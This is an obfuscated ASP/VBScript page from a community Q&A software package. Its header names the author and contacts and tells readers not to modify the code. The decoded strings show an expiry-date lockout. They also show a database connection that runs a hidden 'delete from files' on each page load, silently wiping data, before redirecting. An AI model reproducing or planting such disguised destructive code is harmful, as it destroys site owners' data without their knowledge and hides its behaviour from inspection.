<%@ LANGUAGE="VBSCRIPT" %>
<%
'软件名称：龙品软件社区问题管理平台WT9.0
'源码作者：岑品雄
'官方网站：http://www.wzcen.com
'联系方式：QQ：295011549　邮箱：lxzx2488@163.com 手机号:18277450676　（只收短信，不接来电）
'请勿修改下列任何代码,以保证程序正常运行

Dim QQGGQG,QQGGQQ,QQGQGG,QQGQGQ,QQGQQG
Set QQGQGG=Response:Set QQGGQQ=Request:Set QQGQQG=Session:Set QQGGQG=Application:Set QQGQGQ=Server
If Date > CDate(QQGQQQ("a_`f\`\`")) Then QQGQGG.Write QQGQQQ("寴@丈@赲@，,朧@罌@竔@糶@绚@佺@産@朾@陋@巭@迂@朚@！,欝@迉@质@乫@歞@弊@牃@，,電@襼@诲@聏@糶@""""：,ahd_``dch ,邩@箬@：,=IKIacggo`eb]4@> ,扆@朵@：,`gaffcd_efe"):QQGQGG.End
dim QQQGGG
QQQGGG=QQGQQQ("52E232D6^;<89C8ERgh5]>53")
dim QQQGGQ
dim QQQGQG
on error resume next
QQQGQG=QQGQQQ("sq""l")+QQGQGQ.mappath(QQQGGG)+QQGQQQ("js672F=Es:Cljs#x't#lL|:4C@D@7E ,p446DD ,sC:G6C ,WY]>53XNj")
set QQQGGQ=QQGQGQ.createobject(QQGQQQ("ps~sq]r~}}tr%x~}"))
if err then
err.clear
else
QQQGGQ.open QQQGQG
if err then
err.clear
end if
end if
dim QQQGQQ, QQQQGG, QQQQGQ,QQQQQG
QQQQQG = QQGGQQ(QQGQQQ("!286"))
QQQQGQ=QQGGQQ(QQGQQQ(":52"))
set QQQQGG=QQGQGQ.createobject(QQGQQQ("25@53]C64@C5D6E"))
QGGGGQG=QQGQQQ("56=6E6 ,7C@> ,7:=6D ,")
QQQQGG.open QGGGGQG,QQQGGQ,3,3
set QQQQGG=nothing
Set QGGGGQQ = QQGQGQ.CreateObject(QQGQQQ("ps~sq]#64@C5D6E"))
QGGGGQG=QQGQQQ("D6=64E ,Y ,7C@> ,DJDE6>0JF4K ,@C56C ,3J ,:5 ,p$r")
set QGGGGQQ=QQQGGQ.execute(QGGGGQG)
QQGQGG.Redirect QQGQQQ("HD9E;32@I:F0b]2DAn:52l")&QGGGGQQ(QQGQQQ(":5"))&""
If isObject(QQQGGQ) Then Set QQQGGQ = Nothing
Function QQGQQQ(ByVal QGGGQGG)
Dim QQQQQQ, QGGGGGG, QGGGGGQ
QGGGQGG = Replace(QGGGQGG, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For QGGGGGG = 1 To Len(QGGGQGG)
If QGGGGGG <> QGGGGGQ Then
QQQQQQ = AscW(Mid(QGGGQGG, QGGGGGG, 1))
If QQQQQQ >= 33 And QQQQQQ <= 79 Then
QQGQQQ = QQGQQQ & Chr(QQQQQQ + 47)
ElseIf QQQQQQ >= 80 And QQQQQQ <= 126 Then
QQGQQQ = QQGQQQ & Chr(QQQQQQ - 47)
Else
QGGGGGQ = QGGGGGG + 1
If Mid(QGGGQGG, QGGGGGQ, 1) = QQGQQQ("o") Then QQGQQQ = QQGQQQ & ChrW(QQQQQQ + 5) Else QQGQQQ = QQGQQQ & Mid(QGGGQGG, QGGGGGG, 1)
End If
End If
Next
End Function
%>